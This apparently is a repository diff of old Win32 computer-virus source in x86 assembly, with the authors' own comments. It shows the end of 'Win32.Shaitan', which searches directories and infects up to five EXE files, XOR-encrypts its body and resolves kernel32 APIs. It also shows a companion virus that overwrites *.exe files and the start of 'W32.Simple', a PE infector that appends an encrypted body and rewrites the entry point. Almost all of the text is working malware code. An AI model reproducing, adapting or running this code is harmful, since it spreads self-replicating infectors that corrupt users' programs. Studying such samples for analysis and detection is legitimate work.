call eax ; Call API to truncate file
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
; Now close the file...
|
||||
final_close:
|
||||
push ebp ; Save delta pointer
|
||||
push [file_handle+ebp] ; Handle of file to close
|
||||
mov eax,[_CloseHandle+ebp] ; Address of API call
|
||||
call eax ; Call API to close file
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
restore_attrib:
|
||||
push ebp ; Save delta
|
||||
push [ori_attrib+ebp] ; Original attributes
|
||||
push [testfile+ebp] ; ASCIIZ filename
|
||||
mov eax,[_SetFileAttributes+ebp] ; API to call
|
||||
call eax ; Restore original attributes
|
||||
pop ebp ; Restore delta
|
||||
|
||||
infect_end:
|
||||
mov eax,[infect_status+ebp] ; Success/Failure flag
|
||||
ret ; Return to caller
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; InfectCurrentDirectory - Infects upto 5 files in current directory
|
||||
;----------------------------------------------------------------------------
|
||||
InfectCurrentDirectory:
|
||||
|
||||
find_file:
|
||||
push ebp ; Save delta pointer
|
||||
mov eax,offset wfd_icd ; Returned "FileFind" info
|
||||
add eax,ebp ; Adjust with delta...
|
||||
push eax ; Push it onto the stack
|
||||
mov eax,offset file_match ; Search for "*.EXE"
|
||||
add eax,ebp ; Adjust with delta...
|
||||
push eax ; Push it onto the stack
|
||||
mov eax,[_FindFirstFileA+ebp] ; <<<
|
||||
call eax ; Call API to search for file
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
cmp eax,0ffffffffh ; No match found?
|
||||
je icd_end ; No. Cannot proceed...
|
||||
mov [icd_search_handle+ebp],eax ; Save search handle
|
||||
|
||||
mov eax,offset wfd_icd.cFileName ; Get filename of match file
|
||||
add eax,ebp ; Adjust with delta...
|
||||
mov [testfile+ebp],eax ; Save pointer to it...
|
||||
|
||||
cmp [wfd_icd.nFileSizeHigh+ebp],0 ; High 32-bits of filesize
|
||||
jne icd_findnext ; Way to big for us!
|
||||
|
||||
mov eax,[wfd_icd.nFileSizeLow+ebp] ; Get filesize...
|
||||
mov [adj_filesize+ebp],eax ; Save it
|
||||
mov [new_filesize+ebp],eax ; Save it (this'll change l8r)
|
||||
|
||||
call InfectFile ; Infect file "testfile"
|
||||
cmp eax,0 ; Successful?
|
||||
je icd_findnext ; No. Search for next file...
|
||||
inc [infect_counter+ebp] ; Yes. Increment counter
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max infect count reached?
|
||||
je close_file_handle ; Yes. Don't infect any more
|
||||
|
||||
icd_findnext:
|
||||
push ebp ; Save delta pointer
|
||||
mov eax,offset wfd_icd ; Offset of WFD structure
|
||||
add eax,ebp ; Adjust with delta pointer
|
||||
push eax ; Push up the stack
|
||||
push [icd_search_handle+ebp] ; Push search handle too
|
||||
mov eax,[_FindNextFileA+ebp] ; Address of API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta pointer
|
||||
|
||||
cmp eax,L 0 ; No match found?
|
||||
je close_file_handle ; No. Cannot proceed...
|
||||
|
||||
mov eax,offset wfd_icd.cFileName ; Get filename of match file
|
||||
add eax,ebp ; Adjust with delta...
|
||||
mov [testfile+ebp],eax ; Save pointer to it...
|
||||
|
||||
cmp [wfd_icd.nFileSizeHigh+ebp],0 ; High 32-bits of filesize
|
||||
jne icd_findnext ; Way too big! Next...
|
||||
|
||||
mov eax,[wfd_icd.nFileSizeLow+ebp] ; Get filesize...
|
||||
mov [adj_filesize+ebp],eax ; Save it
|
||||
mov [new_filesize+ebp],eax ; Save it (this'll change l8r)
|
||||
|
||||
call InfectFile ; Infect file "testfile"
|
||||
cmp eax,0 ; Successful?
|
||||
je icd_findnext ; No. Search for next file...
|
||||
inc [infect_counter+ebp] ; Yes. Increment counter
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max infect count reached?
|
||||
jne icd_findnext ; No. Search next...
|
||||
|
||||
close_file_handle:
|
||||
push ebp ; Save delta
|
||||
mov eax,[icd_search_handle+ebp] ; Handle of search
|
||||
push eax ; Push it onto stack
|
||||
mov eax,[_FindClose+ebp] ; Get address of API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta
|
||||
|
||||
icd_end:
|
||||
ret
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Search&InfectDirs -
|
||||
;----------------------------------------------------------------------------
|
||||
Search&InfectDirs:
|
||||
call SetDir ; Change to directory in EAX
|
||||
cmp eax,0 ; Failure?
|
||||
je sid_end ; Yeah. Quit...
|
||||
|
||||
push ebp ; Save delta
|
||||
mov eax,offset wfd_dir ; Address of struct to hold find-data
|
||||
add eax,ebp ; Adjust with delta
|
||||
push eax ; Push onto stack
|
||||
mov eax,offset dir_match ; File pattern to search for...
|
||||
push eax ; Push onto stack
|
||||
mov eax,[_FindFirstFileA+ebp]; API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta
|
||||
|
||||
cmp eax,0ffffffffh ; No match???
|
||||
je sid_end ; Yes. Can't continue...
|
||||
|
||||
mov [dir_search_handle+ebp],eax ; Save search handle
|
||||
|
||||
cmp [wfd_dir.dwFileAttributes+ebp],FILE_ATTRIBUTE_DIRECTORY
|
||||
jne sid_next_dir ; Not a directory, serch for next...
|
||||
|
||||
mov eax,offset wfd_dir.cFileName; Name of found directory
|
||||
add eax,ebp ; Adjust with delta
|
||||
call SetDir ; Change to that directory
|
||||
|
||||
call InfectCurrentDirectory ; Infect files there
|
||||
|
||||
mov eax,offset dot_dot ; Move one directory down (..)
|
||||
add eax,ebp ; Adjust with delta
|
||||
call SetDir ; Change to that directory
|
||||
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
|
||||
je close_dir_handle ; Yes. Don't continue...
|
||||
|
||||
sid_next_dir:
|
||||
push ebp ; Save delta
|
||||
mov eax,offset wfd_dir ; Find-data structure
|
||||
add eax,ebp ; Adjust with delta
|
||||
push eax ; Push onto stack
|
||||
push [dir_search_handle+ebp] ; Push search handle too
|
||||
mov eax,[_FindNextFileA+ebp] ; API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta
|
||||
|
||||
cmp eax,L 0 ; No more dirs?
|
||||
je close_dir_handle ; No. Exit...
|
||||
|
||||
cmp [wfd_dir.dwFileAttributes+ebp],FILE_ATTRIBUTE_DIRECTORY
|
||||
jne sid_next_dir ; Not a directory. Search again...
|
||||
|
||||
mov eax,offset wfd_dir.cFileName; Name of found directory
|
||||
add eax,ebp ; Adjust
|
||||
call SetDir ; Change to found directory
|
||||
|
||||
call InfectCurrentDirectory ; Infect files in directory
|
||||
|
||||
mov eax,offset dot_dot ; Move back one directory
|
||||
add eax,ebp ; Adjust...
|
||||
call SetDir ; Change to that directory
|
||||
|
||||
cmp [infect_counter+ebp],MAX_INFECT ; Max # of files infected?
|
||||
je close_dir_handle ; Yes. Don't continue...
|
||||
|
||||
jmp sid_next_dir ; Loop...
|
||||
|
||||
close_dir_handle:
|
||||
push ebp ; Save delta
|
||||
mov eax,[dir_search_handle+ebp] ; Handle of search
|
||||
push eax ; Push it onto stack
|
||||
mov eax,[_FindClose+ebp] ; Get address of API to call
|
||||
call eax ; Call API
|
||||
pop ebp ; Restore delta
|
||||
|
||||
sid_end:
|
||||
ret ; Return to caller
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Crypt - En/Decrypts vx data
|
||||
;----------------------------------------------------------------------------
|
||||
crypt:
|
||||
mov esi,offset crypt_start ; Start of data to en/decrypt
|
||||
add esi,ebp ; Adjust with delta
|
||||
mov ah,byte ptr [key+ebp] ; Retrieve encryption key
|
||||
mov ecx,crypt_end - crypt_start ; No. of bytes to encrypt
|
||||
crypt_loop:
|
||||
xor byte ptr [esi],ah ; Encrypt one byte
|
||||
inc esi ; Point to next byte to encrypt
|
||||
loop crypt_loop ; Loop till done...
|
||||
ret ; Return to caller
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
; Virus data -
|
||||
;----------------------------------------------------------------------------
|
||||
crypt_start:
|
||||
|
||||
testfile dd ?
|
||||
file_handle dd ?
|
||||
map_handle dd ?
|
||||
view_address dd ?
|
||||
file_match db "*.EXE",0
|
||||
dir_match db "*.*",0
|
||||
wfd_icd WIN32_FIND_DATA ?
|
||||
wfd_dir WIN32_FIND_DATA ?
|
||||
adj_filesize dd ?
|
||||
new_filesize dd ?
|
||||
PE_hdr dd ?
|
||||
ori_ip dd ?
|
||||
new_ip dd ?
|
||||
temp_ip dd ?
|
||||
file_align dd ?
|
||||
ori_size_of_rawdata dd ?
|
||||
size_of_rawdata dd ?
|
||||
inc_size_of_rawdata dd ?
|
||||
module_base dd ?
|
||||
infect_status dd ?
|
||||
infect_counter dd ?
|
||||
icd_search_handle dd ?
|
||||
dir_search_handle dd ?
|
||||
start_dir db 128 dup (0)
|
||||
win_dir db 128 dup (0)
|
||||
root_dir_c db "C:\",0
|
||||
root_dir_d db "D:\",0
|
||||
dot_dot db "..",0
|
||||
ori_attrib dd ?
|
||||
|
||||
NumberOfFunctions dd ?
|
||||
AddressOfFunctions dd ?
|
||||
AddressOfNames dd ?
|
||||
AddressOfOrdinals dd ?
|
||||
|
||||
GPA_string db "GetProcAddress",0
|
||||
GPA_string_len equ $ - offset GPA_string
|
||||
_GetProcAddress dd ?
|
||||
|
||||
GMH_string db "GetModuleHandleA",0
|
||||
GMH_string_len equ $ - offset GMH_string
|
||||
|
||||
; ASCIIZ strings of all API functions we need. The DWORDs following the API
|
||||
; names will store their respective addresses...
|
||||
API_strings:
|
||||
CF_string db "CreateFileA",0
|
||||
_CreateFileA dd ?
|
||||
CFM_string db "CreateFileMappingA",0
|
||||
_CreateFileMappingA dd ?
|
||||
MVOF_string db "MapViewOfFile",0
|
||||
_MapViewOfFile dd ?
|
||||
CH_string db "CloseHandle",0
|
||||
_CloseHandle dd ?
|
||||
FFF_string db "FindFirstFileA",0
|
||||
_FindFirstFileA dd ?
|
||||
FNF_string db "FindNextFileA",0
|
||||
_FindNextFileA dd ?
|
||||
FC_string db "FindClose",0
|
||||
_FindClose dd ?
|
||||
SFP_string db "SetFilePointer",0
|
||||
_SetFilePointer dd ?
|
||||
SEOF_string db "SetEndOfFile",0
|
||||
_SetEndOfFile dd ?
|
||||
GCD_string db "GetCurrentDirectoryA",0
|
||||
_GetCurrentDirectory dd ?
|
||||
SCD_string db "SetCurrentDirectoryA",0
|
||||
_SetCurrentDirectory dd ?
|
||||
GWD_string db "GetWindowsDirectoryA",0
|
||||
_GetWindowsDirectory dd ?
|
||||
GCL_string db "GetCommandLineA",0
|
||||
_GetCommandLine dd ?
|
||||
UVOF_string db "UnmapViewOfFile",0
|
||||
_UnmapViewOfFile dd ?
|
||||
GFA_string db "GetFileAttributesA",0
|
||||
_GetFileAttributes dd ?
|
||||
SFA_string db "SetFileAttributesA",0
|
||||
_SetFileAttributes dd ?
|
||||
GDT_string db "GetDriveTypeA",0
|
||||
_GetDriveType dd ?
|
||||
NoMoreAPI_string dd 'SLAM'
|
||||
|
||||
k32_string db "KERNEL32.DLL",0
|
||||
kernel32 dd ?
|
||||
|
||||
; Take credit for writing all this stuff :) ...
|
||||
copyright db "Win32.Shaitan (c) 1998 The Shaitan [SLAM]",0
|
||||
|
||||
; Now do a Dark Avenger impersonation :P
|
||||
dav_string db "This virus was written in the city of Mumbai",0
|
||||
|
||||
crypt_end:
|
||||
|
||||
key db 0
|
||||
|
||||
v_end:
|
||||
|
||||
ends
|
||||
end v_start
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,111 @@
|
||||
.386P
|
||||
Locals
|
||||
jumps
|
||||
|
||||
.Model Flat ,StdCall
|
||||
|
||||
;Simple win32 companion Self Replicating Automation
|
||||
;Jheronimus Bolch - Meta Informatic Syndrome Patients
|
||||
;code is shit but it's simple-hope so....
|
||||
extrn ExitProcess : PROC
|
||||
extrn GetCommandLineA : PROC
|
||||
extrn MessageBoxA : PROC
|
||||
extrn MoveFileA:PROC
|
||||
extrn FindFirstFileA:Proc
|
||||
extrn FindNextFileA:Proc
|
||||
extrn CopyFileA:PROC
|
||||
extrn DeleteFileA:PROC
|
||||
|
||||
|
||||
.Data
|
||||
|
||||
text db "bU-hahahaahahahaha",13,10 ;
|
||||
db "The companion is getting alive...",0
|
||||
|
||||
|
||||
caption db "Hell0",0
|
||||
keimeno db "simple companion w32 virus",13,10
|
||||
"basically for assembly coding practice",13,10
|
||||
"Hope you'll enjoy the code...",13,10
|
||||
"w32.shithead",13,10
|
||||
"by Jack Daniels",0
|
||||
psaxnogia db "*.exe",0
|
||||
|
||||
search_handle dd 0
|
||||
|
||||
myname db 40h dup (0)
|
||||
newname db 40h dup (0)
|
||||
search_data db 318 dup (0)
|
||||
.Code
|
||||
Main:
|
||||
call GetCommandLineA
|
||||
mov ecx,0
|
||||
jampo:
|
||||
mov bl,byte ptr[eax+1]
|
||||
mov byte ptr[myname+ecx],bl
|
||||
inc eax
|
||||
inc ecx
|
||||
cmp bl,22h
|
||||
jne jampo
|
||||
dec ecx
|
||||
mov byte ptr[myname+ecx],0
|
||||
|
||||
|
||||
push offset search_data
|
||||
push offset psaxnogia
|
||||
|
||||
call FindFirstFileA
|
||||
|
||||
cmp eax,-1
|
||||
je exit
|
||||
mov search_handle,eax
|
||||
call infect
|
||||
more:
|
||||
|
||||
|
||||
mov eax,[search_handle]
|
||||
push offset search_data
|
||||
push eax
|
||||
|
||||
|
||||
call FindNextFileA
|
||||
cmp eax,0
|
||||
je exit
|
||||
cmp byte ptr[search_data+44],"_"
|
||||
je exit
|
||||
|
||||
call infect
|
||||
jmp more
|
||||
|
||||
infect:
|
||||
mov ecx,0
|
||||
mov byte ptr[newname+ecx],"_"
|
||||
newnamecreation:
|
||||
inc ecx
|
||||
mov bl,byte ptr[search_data+44+ecx-1]
|
||||
mov byte ptr[newname+ecx],bl
|
||||
cmp bl,0
|
||||
jne newnamecreation
|
||||
push 0
|
||||
push offset caption
|
||||
push offset newname
|
||||
push 0
|
||||
call MessageBoxA
|
||||
push offset [search_data+44]
|
||||
call DeleteFileA
|
||||
push 1h
|
||||
push offset [search_data+44]
|
||||
push offset myname
|
||||
call CopyFileA
|
||||
|
||||
push 1h
|
||||
push offset newname
|
||||
push offset [search_data+44]
|
||||
call CopyFileA
|
||||
ret
|
||||
|
||||
exit:
|
||||
CALL ExitProcess
|
||||
|
||||
|
||||
End Main
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,330 @@
|
||||
; [ W32.Simple by XXXXXX ]
|
||||
; -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
; THIS IS A VERY SMALL AND SIMPLE WIN32 PE INFECTOR.. IT INFECTS ONLY
|
||||
; FILES IN THE CURRENT DIRECTORY. THIS VIRUS IS NOT SUPOSED TO BE IN
|
||||
; THE WILD SO I DON'T WANTED TO INCLUDE WINDIR INFECTION OR DIRECTORY
|
||||
; TRAVERSEL... I JUST WANTED TO WRITE A SMALL STABILE WIN32 VIRUS :)
|
||||
; THERE'S NOT MUCH TO MENTION ABOUT THIS EXEPT A FEW THINGS: I DON'T
|
||||
; USE FILE-MAPPING, LOOK WHY BELLOW. ALL THE ROUTINES ARE NOT COPIED
|
||||
; FROM SOMEONE ELSE. COZ THIS IS MY FIRST WIN32 VIRUS I READ A COUPLE
|
||||
; OF TUTORS BUT THE THING IS I TRIED TO UNDERSTAND THINGS INSTEAD OF
|
||||
; JUST PASTE CODE. I TRIED MY BEST IN OPTIMIZING COMMON STRUCTURES
|
||||
; LIKE INFECTION AND EXPORT-TABLE SCANNING. THE ENCRYPTION IS LAME AS
|
||||
; FUCK... SO... IT'S JUST MY FIRST VIRUS DON'T EXPECT TO MUCH :)
|
||||
; PLEASE WRITE TO [XXXXXX@GMX.NET] XXXXXX
|
||||
; -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
|
||||
.486
|
||||
.MODEL FLAT, STDCALL
|
||||
OPTION CASEMAP:NONE
|
||||
|
||||
INCLUDE \MASM32\INCLUDE\KERNEL32.INC
|
||||
INCLUDELIB \MASM32\LIB\KERNEL32.LIB
|
||||
|
||||
VIRUS_SIZE EQU VIRUS_END - VIRUS_START
|
||||
MAX_PATH EQU 104H
|
||||
OF_READ EQU 000H
|
||||
GHND EQU 002H OR 040H
|
||||
FILE_ATTRIBUTE_NORMAL EQU 080H
|
||||
|
||||
.CODE
|
||||
FIRST_GEN:
|
||||
PUSH 0
|
||||
CALL ExitProcess
|
||||
|
||||
VIRUS_START:
|
||||
PUSHAD
|
||||
CALL DELTA
|
||||
DELTA: POP EBP
|
||||
SUB EBP, DELTA ; EBP = DELTA OFFSET
|
||||
|
||||
XOR_KEY:MOV DH,0 ; WILL BE PATCHED LATER...
|
||||
LEA ESI, [ EBP + E_START ] ; SO NO XOR EDX, EDX :)
|
||||
PUSH ESI
|
||||
MOV ECX, VIRUS_END - E_START
|
||||
|
||||
;________________ _ _ _ [ -ENCRYPT- ] _ _ _ __
|
||||
ENCRYPT:XOR BYTE PTR [ ESI ], DH ; EN/DE-CRYPTS THE VIRUS_BDY
|
||||
ROL DH, 1 ; VERY LAME I KNOW...
|
||||
INC ESI
|
||||
DEC ECX
|
||||
JNZ ENCRYPT
|
||||
RET
|
||||
|
||||
E_START:CALL GET_KERNEL ; GET KERNEL BASE
|
||||
|
||||
MOV ECX, 14
|
||||
LEA ESI, [ EBP + ___KERNEL32 ]
|
||||
CALL GET_APIS ; GET KERNEL API'S
|
||||
|
||||
CALL INFECT_DIR ; INFECT SOME FILES
|
||||
|
||||
ERR_EXT:POPAD
|
||||
HRETURN:PUSH DWORD PTR OFFSET FIRST_GEN ; RETURN TO HOST
|
||||
RET ; WILL BE PATCHED LATER
|
||||
|
||||
;________________ _ _ _ [ -GET_KERNEL- ] _ _ _ __
|
||||
GET_KERNEL: ; RETURNS THE KERNEL BASE
|
||||
MOV ECX, [ ESP + 9 * 4 ] ; SIMPLE BUT SMALL :)
|
||||
@@: DEC ECX
|
||||
MOVZX EDX, WORD PTR [ ECX + 03CH ] ; EDX = POINTER TO PE_HDR
|
||||
CMP ECX, [ ECX + EDX + 034H ] ; COMPARE CURRENT BASE WITH
|
||||
JNZ @B ; THE KERNEL IMAGE_BASE (MZ)
|
||||
MOV [ EBP + _KERNEL ], ECX ; STORE RESULT
|
||||
MOV [ EBP + _DEFAULT ], ECX
|
||||
RET
|
||||
|
||||
;________________ _ _ _ [ -GET_APIS- ] _ _ _ __
|
||||
GET_APIS: ; SCANS THROUGHT API TABLE
|
||||
INC ESI ; AND RETURNS ADDRESSES
|
||||
PUSH ECX
|
||||
CALL GET_API ; SEARCH API ADDRESS
|
||||
POP ECX
|
||||
MOVZX EBX, BYTE PTR [ ESI - 1 ]
|
||||
ADD ESI, EBX ; STORE ADDRESS IN THE
|
||||
MOV [ ESI ], EAX ; API TABLE...
|
||||
ADD ESI, 4
|
||||
LOOP GET_APIS ; NEXT ONE
|
||||
RET
|
||||
|
||||
;________________ _ _ _ [ -GET_API- ] _ _ _ __
|
||||
GET_API: ; SCANS FOR A SINGLE API ADR
|
||||
MOV EDX, [ EBP + _DEFAULT ] ; EDX = DEFAULT MODULE BASE
|
||||
ADD EDX, [ EDX + 03CH ] ; + OFFSET PE_HEADER
|
||||
MOV EDX, [ EDX + 078H ] ; EDX = PTR EXPORT_DIR RVA
|
||||
ADD EDX, [ EBP + _DEFAULT ] ; + BASE
|
||||
MOV EDI, [ EDX + 020H ] ; EDI = PTR ADDRESS_OF_NAMES RVA
|
||||
ADD EDI, [ EBP + _DEFAULT ] ; + BASE
|
||||
MOV EDI, [ EDI ] ; EDI = PTR ADR_OF_NAMES RVA
|
||||
ADD EDI, [ EBP + _DEFAULT ] ; + BASE
|
||||
MOV EAX, [ EDX + 018H ] ; EAX = NUMBER_OF_NAMES
|
||||
XOR EBX, EBX
|
||||
NXT_ONE:INC EBX
|
||||
MOVZX ECX, BYTE PTR [ ESI - 1 ] ; LENGHT OF SPEZIFED API NAME
|
||||
PUSH ESI
|
||||
PUSH EDI
|
||||
REPZ CMPSB ; COMPARE API NAME WITH
|
||||
POP EDI ; EXPORT ENTRY
|
||||
POP ESI
|
||||
JZ FOUND
|
||||
PUSH EAX
|
||||
XOR AL, AL
|
||||
SCASB ; GET NEXT ONE
|
||||
JNZ $ - 1
|
||||
POP EAX
|
||||
DEC EAX ; DECREASE NUMBER_OF_NAMES
|
||||
JZ ERR_EXT
|
||||
JMP NXT_ONE
|
||||
FOUND: MOV ECX, [ EDX + 024H ] ; ECX = PTR NBR_NAME_ORDS RVA
|
||||
ADD ECX, [ EBP + _DEFAULT ] ; + BASE
|
||||
DEC EBX
|
||||
MOVZX EAX, WORD PTR [ ECX + EBX * 2 ] ; EAX = ORDINAL OF FUNCTION
|
||||
MOV EBX, [ EDX + 01CH ] ; EBX = PTR ADR_OF_FUNCTIONS RVA
|
||||
ADD EBX, [ EBP + _DEFAULT ] ; + BASE
|
||||
MOV EAX, [ EBX + EAX * 4 ] ; EAX = FUNCTION RVA!!!!
|
||||
ADD EAX, [ EBP + _DEFAULT ] ; + BASE
|
||||
RET
|
||||
|
||||
;________________ _ _ _ [ -INFECT_DIRECTORY- ] _ _ _ __
|
||||
INFECT_DIR: ; SEARCH ALL EXECUTABLES IN
|
||||
LEA EAX, [ EBP + W32FINDDATA ] ; THE SPEZIFED DIRECTORY
|
||||
PUSH EAX
|
||||
LEA EAX, [ EBP + FILE_MASK ]
|
||||
PUSH EAX
|
||||
CALL [ EBP + _FINDFIRSTFILE ]
|
||||
INC EAX
|
||||
JZ _S_OUT
|
||||
DEC EAX
|
||||
MOV [ EBP + S_HANDLE ], EAX
|
||||
_S_SCAN:
|
||||
CMP [ EBP + FILESIZEH ], 0 ; ONLY FILES UNDER 4 GIGS...
|
||||
JNZ _NEXT
|
||||
CALL INFECT_FILE ; PE FOUND SO INFECT IT!
|
||||
_NEXT:
|
||||
LEA EAX, [ EBP + W32FINDDATA ]
|
||||
PUSH EAX
|
||||
PUSH [ EBP + S_HANDLE ]
|
||||
CALL [ EBP + _FINDNEXTFILE ]
|
||||
TEST EAX, EAX
|
||||
JNZ _S_SCAN
|
||||
_S_CLOSE:
|
||||
PUSH [ EBP + S_HANDLE ]
|
||||
CALL [ EBP + _FINDCLOSE ]
|
||||
_S_OUT: RET
|
||||
|
||||
;________________ _ _ _ [ -OPEN_FILE- ] _ _ _ __
|
||||
INFECT_FILE: ; OPENS A FILE AND ALLOCATE MEM
|
||||
PUSH FILE_ATTRIBUTE_NORMAL ; I DON'T USE FILEMAPPING COZ
|
||||
LEA EAX, [ EBP + FILENAME ] ; I SIMPLY HATE IT... IMAGINE
|
||||
PUSH EAX ; YOU MAP A FILE AND BEGIN TO
|
||||
CALL [ EBP + _SETFILEATTRIBUTES ] ; MAKE THE FIRST CHANGES, NOW
|
||||
; YOU REALIZE THE PE IS NOT
|
||||
PUSH OF_READ ; VALID OR CORRUPTED (PACKED
|
||||
LEA EAX, [ EBP + FILENAME ] ; FILES OR SOME MS PE'S
|
||||
PUSH EAX ; [OUTLOOK])... THIS PE SHOULD
|
||||
CALL [ EBP + __LOPEN ] ; BE HISTORY NOW :) I USED IT
|
||||
MOV [ EBP + FILEHANDLE ], EAX ; BEFORE AND MUST SAY THAT
|
||||
MOV EAX, [ EBP + FILESIZE ] ; I HAD TONS OF PROBLEMS WITH
|
||||
ADD [ EBP + MAPSIZE ], EAX ; THIS TECHNIQUE...
|
||||
PUSH [ EBP + MAPSIZE ]
|
||||
PUSH GHND
|
||||
CALL [ EBP + _GLOBALALLOC ]
|
||||
MOV [ EBP + H_BUFFER ], EAX
|
||||
PUSH EAX
|
||||
CALL [ EBP + _GLOBALLOCK ] ; ALLOCATE MEM FOR THE FILE +
|
||||
TEST EAX, EAX ; VIRUS_BODY
|
||||
JZ _EXIT
|
||||
MOV [ EBP + M_BUFFER ], EAX
|
||||
PUSH [ EBP + FILESIZE ]
|
||||
PUSH [ EBP + M_BUFFER ]
|
||||
PUSH [ EBP + FILEHANDLE ]
|
||||
CALL [ EBP + __LREAD ] ; READ ENTIRE FILE TO BUFFER
|
||||
PUSH [ EBP + FILEHANDLE ]
|
||||
CALL [ EBP + __LCLOSE ]
|
||||
|
||||
;________________ _ _ _ [ -INFECT_FILE- ] _ _ _ __
|
||||
MOV EDI, [ EBP + M_BUFFER ] ; EDI = POINTER TO MEM BLOCK
|
||||
CMP WORD PTR [ EDI ], "ZM" ; DO SOME CHECKS (MZ/PE/INFMARK)
|
||||
JNZ _EXIT
|
||||
ADD EDI, [EDI + 03CH] ; EDI = POINTER TO PE_HDR
|
||||
CMP WORD PTR [ EDI ], "EP"
|
||||
JNZ _EXIT
|
||||
CMP DWORD PTR [ EDI + 04CH ], 0
|
||||
JNZ _EXIT
|
||||
; RETURN LAST SECTION
|
||||
MOV ECX, [ EDI + 074H ] ; ECX = NUMBER_OF_RVA_AND_SIZES
|
||||
LEA ECX, [ ECX * 8 + EDI ] ; x 8 + OFFSET PE_HEADER
|
||||
MOVZX EAX, WORD PTR [ EDI + 006H ] ; EAX = NUMBER_OF_SECTIONS
|
||||
DEC EAX ; - 1
|
||||
LEA EBX, [ EAX + EAX * 4 ] ; EBX = EAX x 28H
|
||||
LEA EBX, [ EBX * 8 ] ; ...
|
||||
LEA EBX, [ EBX + ECX + 078H ] ; EBX = EBX + ECX + 078H
|
||||
|
||||
MOV EAX, VIRUS_SIZE
|
||||
XADD [ EBX + 008H ], EAX ; CHANGE VIRTUALSIZE
|
||||
CMP EAX, [ EBX + 010H ]
|
||||
JA _EXIT
|
||||
|
||||
PUSH EAX
|
||||
PUSH DWORD PTR [ EBX + 010H ]
|
||||
ADD EAX, VIRUS_SIZE
|
||||
XOR EDX, EDX
|
||||
MOV ECX, [ EDI + 03CH ]
|
||||
DIV ECX
|
||||
INC EAX
|
||||
IMUL EAX, ECX
|
||||
MOV [ EBX + 010H ], EAX ; CHANGE SIZE_OF_RAW_DATA
|
||||
|
||||
POP ECX
|
||||
MOV EAX, [ EBX + 010H ]
|
||||
SUB EAX, ECX ; CHANGE SIZE_OF_IMAGE
|
||||
ADD [ EDI + 050H ], EAX
|
||||
; CHANGE ATTRIBS & INFMARK
|
||||
OR DWORD PTR [ EBX + 024H ], 0C0000000H
|
||||
MOV DWORD PTR [ EDI + 04CH ], 'BDHP'
|
||||
|
||||
POP EAX
|
||||
ADD EAX, [ EBX + 00CH ]
|
||||
XCHG [ EDI + 028H ], EAX ; CHANGE ENTRY_POINT
|
||||
ADD EAX, [ EDI + 034H ]
|
||||
|
||||
MOV EDI, [ EBX + 014H ] ; VIRUS_POS = VIRT_ADR +
|
||||
ADD EDI, [ EBX + 008H ] ; VIRT_SIZE
|
||||
MOV ECX, VIRUS_SIZE
|
||||
SUB EDI, ECX
|
||||
ADD EDI, [ EBP + M_BUFFER ]
|
||||
LEA ESI, [ EBP + VIRUS_START ]
|
||||
REP MOVSB ; WRITE VIRUS_BODY TO BUFFER
|
||||
|
||||
;________________ _ _ _ [ -CLOSE_FILE- ] _ _ _ __
|
||||
ADD BYTE PTR [ EBP + XOR_KEY + 1 ], 10
|
||||
MOV DH, BYTE PTR [ EBP + XOR_KEY + 1 ]
|
||||
MOV BYTE PTR [ EDI - ( VIRUS_END - XOR_KEY ) + 1 ], DH
|
||||
MOV [ EDI - ( VIRUS_END - HRETURN ) + 1 ], EAX
|
||||
|
||||
LEA ESI, [ EDI - ( VIRUS_END - E_START ) ]
|
||||
MOV ECX, VIRUS_END - E_START
|
||||
CALL ENCRYPT ; ENCRYPT VIRUS_BODY
|
||||
|
||||
PUSH 0 ; TRUNCATE FILE AND OPEN
|
||||
LEA EAX, [ EBP + FILENAME ] ; FILE FOR WRITE ACCESS
|
||||
PUSH EAX ; (FILE ATTRIBS ARE SET ABOVE)
|
||||
CALL [ EBP + __LCREAT ]
|
||||
INC EAX
|
||||
JZ _EXIT
|
||||
|
||||
MOV EAX, [ EBX + 014H ] ; FILESIZE = VIRT_ADR +
|
||||
ADD EAX, [ EBX + 010H ] ; SIZE_OF_RAW_DATA
|
||||
|
||||
PUSH EAX
|
||||
PUSH [ EBP + M_BUFFER ] ; WRITE BUFFER TO FILE...
|
||||
PUSH [ EBP + FILEHANDLE ] ; CLOSE FILE...
|
||||
CALL [ EBP + __LWRITE ] ; GET RID OF THOSE MEMORY
|
||||
PUSH [ EBP + FILEHANDLE ] ; POINTERS AND FREE MEMORY...
|
||||
CALL [ EBP + __LCLOSE ] ; SET OLD FILE ATTRIBUTES
|
||||
_EXIT: PUSH [ EBP + M_BUFFER ]
|
||||
CALL [ EBP + _GLOBALUNLOCK ]
|
||||
PUSH [ EBP + H_BUFFER ]
|
||||
CALL [ EBP + _GLOBALFREE ]
|
||||
|
||||
PUSH [ EBP + F_OATTRIBS ]
|
||||
LEA EAX, [ EBP + FILENAME ]
|
||||
PUSH EAX
|
||||
CALL [ EBP + _SETFILEATTRIBUTES ]
|
||||
RET
|
||||
|
||||
;________________ _ _ _ [ -VIRUS_DATA- ] _ _ _ __
|
||||
___KERNEL32: ;
|
||||
DB 06,"_lopen" ; API TABLE
|
||||
__LOPEN DD 0 ; WILL BE FILLED UP WITH ADR'S
|
||||
DB 06,"_lread" ; FROM A SPEZIFED MODULE-EXPORT
|
||||
__LREAD DD 0 ; TABLE (IN THIS CASE KERNEL32)
|
||||
DB 07,"_lwrite"
|
||||
__LWRITE DD 0
|
||||
DB 07,"_lclose"
|
||||
__LCLOSE DD 0
|
||||
DB 07,"_lcreat"
|
||||
__LCREAT DD 0
|
